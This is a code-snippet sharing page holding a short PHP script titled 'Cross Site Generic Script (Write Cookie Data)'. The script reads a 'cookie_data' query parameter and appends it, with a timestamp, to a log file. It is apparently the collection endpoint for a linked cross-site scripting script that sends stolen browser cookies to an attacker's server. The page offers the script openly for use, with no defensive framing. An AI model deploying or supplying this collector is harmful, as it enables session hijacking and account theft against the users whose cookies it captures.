Posted By

section31 on 07/06/08


Tagged


Versions (?)

Who likes this?

2 people have marked this snippet as a favorite

jdstraughan
wizard04


Cross Site Generic Script (Write Cookie Data)


 / Published in: PHP
 

This is linked to this http://snipplr.com/view/7147/cross-site-generic-script/

  1. $contents = isset($_GET['cookie_data']) && trim($_GET['cookie_data']) && strlen($_GET['cookie_data']) < 512 ? $_GET['cookie_data'] : die('invalid request');
  2.  
  3. $fp = fopen('cookie_log.txt', 'a');
  4. $fp and fwrite($fp, date("D M j g:i a") . ' : ' . $contents . "\n") and fclose($fp);

Report this snippet  

You need to login to post a comment.